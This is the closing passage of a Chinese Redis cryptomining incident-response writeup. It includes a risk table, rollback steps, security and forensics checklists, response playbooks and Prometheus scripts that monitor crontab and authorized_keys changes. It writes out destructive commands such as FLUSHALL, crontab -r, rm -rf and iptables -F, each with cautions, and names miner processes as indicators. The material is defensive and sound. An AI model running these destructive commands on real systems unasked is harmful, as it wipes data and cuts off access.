| 操作 | 风险 | 缓解 | | — | — | — | | iptables -F | SSH 断开 | 在 INPUT 链默认 ACCEPT 时执行;或先放行 SSH | | iptables -P INPUT DROP | SSH 断开 | 确认规则已放行 SSH | | redis-cli SHUTDOWN | 内存数据丢失 | SHUTDOWN NOSAVE 仅在被入侵时使用;正常情况 SHUTDOWN 会持久化 | | redis-cli FLUSHDB / FLUSHALL | 业务数据丢失 | 演练使用;生产环境必须经过审批 | | kill -9 redis-server | 同上 | 优先用 redis-cli SHUTDOWN | | crontab -r | 自定义任务丢失 | 备份原 crontab | | rm -rf /tmp/.x | 取证数据丢失 | 提前 tar 打包 | | systemctl disable <service> | 影响正常服务 | 先 systemctl list-unit-files 确认 | | chattr +i /etc/passwd | 无法添加用户 | 临时操作前先 -i 解除 | | userdel | 用户被误删 | 二次确认 | | chmod 600 /etc/shadow | 误操作 root 锁死 | 提前确认 | | systemctl restart sshd | 当前 SSH 会话可能断 | 优先 systemctl reload sshd | | 云控制台”重置系统盘” | 数据全部丢失 | 提前完整备份;新部署预案 | | 修改 bind / requirepass 后没 CONFIG REWRITE | 重启后失效 | 改完 CONFIG REWRITE 或修改 redis.conf |


13 回滚方案

13.1 配置回滚

# 1. Redis 配置回滚
cp /etc/redis/redis.conf.bak /etc/redis/redis.conf
systemctl restart redis

# 2. SSH 配置回滚
cp /etc/ssh/sshd_config.bak /etc/ssh/sshd_config
systemctl reload sshd

# 3. iptables 规则回滚
iptables-restore < /tmp/iptables.bak.<timestamp>

13.2 数据回滚

# 1. Redis 数据回滚
# 从 RDB 恢复
systemctl stop redis
cp /var/lib/redis/dump.rdb /var/lib/redis/dump.rdb.bak
# 把备份的 RDB 放回
cp /opt/backup/redis/dump.<date>.rdb /var/lib/redis/dump.rdb
chown redis:redis /var/lib/redis/dump.rdb
systemctl start redis

# 2. 从 AOF 恢复
systemctl stop redis
rm -f /var/lib/redis/dump.rdb
cp /opt/backup/redis/appendonly.<date>.aof /var/lib/redis/appendonly.aof
chown redis:redis /var/lib/redis/appendonly.aof
systemctl start redis

注意:Redis 从备份恢复会丢失最近一次备份到现在的数据。要结合 binlog/AOF 时间点恢复。

13.3 系统回滚(云厂商重置系统盘)

# 1. 数据备份(再次确认)
rsync -a /var/lib/redis /opt/backup/redis_emergency/

# 2. 通过云控制台"重置系统盘"
# 3. 重新部署 Redis
# 4. 恢复数据

14 附录

14.1 Redis 安全检查 Checklist

[ ]&nbsp;bind&nbsp;是否限制为内网 IP
[ ] protected-mode 是否为 yes
[ ] requirepass 是否为强密码(20+ 位)
[ ] 是否使用 ACL(Redis 6+)
[ ] 危险命令是否被 rename
[ ] 是否启用 appendonly
[ ] 是否设置 maxmemory 和 maxmemory-policy
[ ] 慢日志是否开启
[ ] 安全组是否对公网关闭 6379
[ ] 是否有定期的 KEY 命名规范扫描
[ ] 是否有定期的 ACL 审计
[ ] 是否有 redis_exporter 监控
[ ] 告警阈值是否合理
[ ] 应急响应手册是否到位
[ ] 是否做过 Redis 入侵演练

14.2 取证清单

[ ] 系统时间
[ ] 系统版本
[ ] 进程快照
[ ] 网络快照
[ ] 用户和登录快照
[ ] crontab 快照
[ ] SSH 配置和密钥
[ ] 启动项
[ ] Redis 配置和命令
[ ] 临时目录
[ ] 关键日志
[ ] 内核模块
[ ] 文件完整性(md5)
[ ] 内存快照(可选)
[ ] 磁盘镜像(可选)

14.3 应急剧本(剧本库)

剧本:Redis CPU 100%

1. 收到 CPU 告警
2. 登机,top -c
3. 找出 CPU 占用最高进程
4. /proc/<pid>/exe 看可执行文件
5. 如果是 kdevtmpfsi / xmrig / minerd 等,进入"挖矿应急"
6. 如果是 redis-server 本身,进入"Redis 性能应急"
7. 隔离主机
8. 取证
9. 清理或重装
10. 复盘

剧本:Redis 突然返回 nil

1. 收到业务告警
2. redis-cli PING
3. 验证密码
4. KEYS&nbsp;'*'&nbsp;抽样
5. INFO memory
6. INFO replication
7. 看是否被 FLUSHDB
8. 看是否被 KEYS * 阻塞
9. 看是否 OOM
10. 决策:恢复 / 扩容 / 限流

剧本:Redis 不可用

1. 收到 RedisDown 告警
2. redis-cli PING
3. 验证进程存活
4. 看磁盘空间
5. 看系统日志
6. 重启尝试
7. 失败则启用备份
8. SLA 通知业务
9. 复盘

14.5 主机文件变更采集脚本(textfile collector)

Prometheus 官方 node_exporter 并不直接暴露任意文件 mtime。要做”crontab 变更告警”或”authorized_keys 变更告警”,标准做法是用 textfile collector 配合 cron 跑的自定义脚本。

14.5.1 推送 crontab 总数

/etc/cron.d/push_cron_count.sh

#!/bin/bash
# 每 1 分钟跑一次,把每个用户的 crontab 总条数推到 textfile
# 依赖:crontab 命令;node_exporter 启用 --collector.textfile.directory

set&nbsp;-euo pipefail
OUT_DIR=/var/lib/node_exporter/textfile_collector
TMPF=$(mktemp&nbsp;${OUT_DIR}/cron_count.XXXXXX)
trap"rm -f&nbsp;$TMPF"&nbsp;EXIT

{
echo"# HELP cron_total_count Total cron lines per user (incl. comments and blanks)"
echo"# TYPE cron_total_count gauge"
&nbsp; total=0
while&nbsp;IFS=:&nbsp;read&nbsp;-r user _ uid _ _ home shell;&nbsp;do
&nbsp; &nbsp; [&nbsp;"$uid"&nbsp;-lt 1000 ] &&&nbsp;continue&nbsp; &nbsp;&nbsp;# 跳系统用户
&nbsp; &nbsp; [ -z&nbsp;"$shell"&nbsp;] &&&nbsp;continue
&nbsp; &nbsp;&nbsp;case"$shell"in&nbsp;*/nologin|*/false)&nbsp;continue&nbsp;;;&nbsp;esac
&nbsp; &nbsp;&nbsp;if&nbsp;[ -f&nbsp;"$home/.crontab_count"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; n=$(cat&nbsp;"$home/.crontab_count"&nbsp;2>/dev/null ||&nbsp;echo&nbsp;0)
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; &nbsp; n=$(crontab -l -u&nbsp;"$user"&nbsp;2>/dev/null | wc -l)
&nbsp; &nbsp; &nbsp;&nbsp;echo"$n"&nbsp;>&nbsp;"$home/.crontab_count"
&nbsp; &nbsp;&nbsp;fi
&nbsp; &nbsp;&nbsp;echo"cron_total_count{user=\"$user\"}&nbsp;$n"
&nbsp; &nbsp; total=$((total + n))
done&nbsp;< /etc/passwd
echo"cron_total_count{user=\"__all__\"}&nbsp;$total"
} >&nbsp;"$TMPF"

mv&nbsp;"$TMPF""${OUT_DIR}/cron_count.prom"

14.5.2 推送关键文件 mtime

/etc/cron.d/push_file_mtime.sh

#!/bin/bash
# 每 1 分钟跑一次,把关键文件的 mtime 推到 textfile

set&nbsp;-euo pipefail
OUT_DIR=/var/lib/node_exporter/textfile_collector
TMPF=$(mktemp&nbsp;${OUT_DIR}/file_mtime.XXXXXX)
trap"rm -f&nbsp;$TMPF"&nbsp;EXIT

{
echo"# HELP file_mtime_seconds File mtime (epoch seconds) of security-sensitive files"
echo"# TYPE file_mtime_seconds gauge"
for&nbsp;f&nbsp;in&nbsp;/etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config;&nbsp;do
&nbsp; &nbsp;&nbsp;if&nbsp;[ -e&nbsp;"$f"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; mtime=$(stat&nbsp;-c %Y&nbsp;"$f")
&nbsp; &nbsp; &nbsp;&nbsp;echo"file_mtime_seconds{path=\"$f\"}&nbsp;$mtime"
&nbsp; &nbsp;&nbsp;fi
done
# 所有用户的 authorized_keys
while&nbsp;IFS=:&nbsp;read&nbsp;-r user _ uid _ _ home _;&nbsp;do
&nbsp; &nbsp; [&nbsp;"$uid"&nbsp;-lt 1000 ] &&&nbsp;continue
&nbsp; &nbsp; f="$home/.ssh/authorized_keys"
&nbsp; &nbsp;&nbsp;if&nbsp;[ -f&nbsp;"$f"&nbsp;];&nbsp;then
&nbsp; &nbsp; &nbsp; mtime=$(stat&nbsp;-c %Y&nbsp;"$f")
&nbsp; &nbsp; &nbsp;&nbsp;echo"file_mtime_seconds{path=\"$f\"}&nbsp;$mtime"
&nbsp; &nbsp;&nbsp;fi
done&nbsp;< /etc/passwd
} >&nbsp;"$TMPF"

mv&nbsp;"$TMPF""${OUT_DIR}/file_mtime.prom"

14.5.3 node_exporter 启动参数

# /etc/default/prometheus-node-exporter
# 加上:
ARGS="--collector.textfile.directory=/var/lib/node_exporter/textfile_collector"
mkdir -p /var/lib/node_exporter/textfile_collector
chown -R node_exporter:node_exporter /var/lib/node_exporter/textfile_collector
systemctl restart prometheus-node-exporter

14.5.4 crontab 注册

chmod +x /etc/cron.d/push_cron_count.sh /etc/cron.d/push_file_mtime.sh
cat > /etc/cron.d/push_exporter_metrics <<'EOF'
* * * * * root /etc/cron.d/push_cron_count.sh >/dev/null 2>&1
* * * * * root /etc/cron.d/push_file_mtime.sh >/dev/null 2>&1
EOF
chmod 644 /etc/cron.d/push_exporter_metrics

风险提醒:写 /etc/cron.d/ 文件前要确保文件内容里有 user 字段(这里是 root),否则 cron 会拒绝执行;写完后要 ls -la 看权限,避免被挖矿脚本发现后清空。

14.4 后续建设清单

  1. 短期(1 周内)
  • 全量 Redis 加密码、改 bind
  • 全量 Redis 启用 ACL
  • 修补安全组
  • 修补监控告警
  1. 中期(1 个月内)
  • 引入配置中心(Git 管理)
  • 引入堡垒机
  • 引入配置合规扫描
  • 制定 Redis 部署标准
  1. 长期(3 个月内)
  • 全量系统审计
  • 定期应急演练
  • 安全培训
  • 建立蓝军 / 红军机制

15 总结

Redis 被挖矿是初中级运维必然会遇到一次的事故。这件事的本质不是”Redis 有漏洞”,而是”Redis 的默认配置 + 弱运维习惯 + 缺监控告警”共同造成的。

本文按一次真实事件的时间线,把”看到告警 → 主机隔离 → 取证 → 进程清理 → crontab 清理 → 启动项清理 → SSH 密钥清理 → Redis 排查 → 持久化文件排查 → 横向扩散 → rootkit → 决策清理 / 重装 → 临时恢复 → 加固 → 监控告警 → 复盘”全部展开。

应急响应的核心是”有序、可控、可复盘”:

  • 有序:知道下一步做什么,知道先做什么
  • 可控:每一步都有止损、回滚、备份机制
  • 可复盘:每一步都有截图、日志、命令输出

加固的核心是”最小暴露面 + 强认证 + 持续监控”:

  • 最小暴露面:bind 内网、安全组、ACL
  • 强认证:密码 + rename + ACL
  • 持续监控:连接数、CPU、内存、出口流量、文件变更

希望读完本文,你能在下一次收到 Redis 告警的时候,心里不慌、手上有招。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:马哥Linux运维 点击关注 👉 点击关注 👉《一次 Redis 被挖矿的应急响应全记录:从报警到加固的工程化复盘》

网络数据安全风险评估办法 网络安全文章

网络数据安全风险评估办法

文章总结: 该办法规范网络数据安全风险评估活动,明确重要数据处理者需每年开展评估,一般数据处理者建议每3年一次。规定评估机构资质要求、报告报送流程及整改时限,强
菖蒲映碧水,端午寄清欢 网络安全文章

菖蒲映碧水,端午寄清欢

文章总结: 安在企业推出全生命周期网络安全会员服务,提供安全意识宣传、培训体系、效果检验、专业社区及评奖支持等一站式解决方案,助力企业根据规模和安全水平匹配五级
评论:0   参与:  0